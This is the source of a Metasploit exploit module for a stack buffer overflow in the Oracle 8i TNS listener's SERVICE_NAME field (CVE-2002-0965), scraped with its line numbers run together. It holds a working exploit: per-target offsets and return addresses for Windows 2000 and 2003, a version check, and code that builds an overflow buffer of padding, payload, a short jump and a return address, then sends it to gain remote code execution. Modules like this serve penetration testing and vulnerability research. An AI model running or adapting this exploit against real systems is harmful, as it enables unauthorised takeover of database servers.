Path: blob/master/modules/exploits/windows/oracle/tns_service_name.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::TNS910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Oracle 8i TNS Listener SERVICE_NAME Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in Oracle. When17sending a specially crafted packet containing a long SERVICE_NAME18to the TNS service, an attacker may be able to execute arbitrary code.19},20'Author' => [ 'MC' ],21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2002-0965'],24[ 'OSVDB', '5041'],25[ 'BID', '4845'],26[ 'URL', 'http://www.oracle.com/technology/deploy/security/pdf/net9_dos_alert.pdf' ],27],28'Privileged' => true,29'DefaultOptions' => {30'EXITFUNC' => 'thread',31},32'Payload' => {33'Space' => 600,34'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\% ()",35'StackAdjustment' => -3500,36},37'Platform' => 'win',38'Targets' => [39[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2000)', { 'Offset' => 6396, 'Ret' => 0x60a1e154 } ],40[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2003)', { 'Offset' => 6392, 'Ret' => 0x60a1e154 }],41],42'DefaultTarget' => 0,43'DisclosureDate' => '2002-05-27',44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)5152register_options([Opt::RPORT(1521)])53end5455def check56connect5758version = "(CONNECT_DATA=(COMMAND=VERSION))"59pkt = tns_packet(version)60sock.put(pkt)6162sock.get_once63res = sock.get_once(-1, 1)6465disconnect6667if (res and res =~ /32-bit Windows: Version 8\.1\.7\.0\.0/)68return Exploit::CheckCode::Appears69end7071return Exploit::CheckCode::Safe72end7374def exploit75connect7677buff = rand_text_alpha_upper(target['Offset'] - payload.encoded.length) + payload.encoded78buff << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')79buff << [0xe8, -550].pack('CV') + rand_text_alpha_upper(400)8081sploit = "(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=#{rhost}(PORT=#{rport}))(CONNECT_DATA=(SERVICE_NAME=#{buff})(CID=(PROGRAM=MSF))))"8283pkt = tns_packet(sploit)8485print_status("Trying target #{target.name}...")86sock.put(pkt)8788handler8990disconnect91end92end939495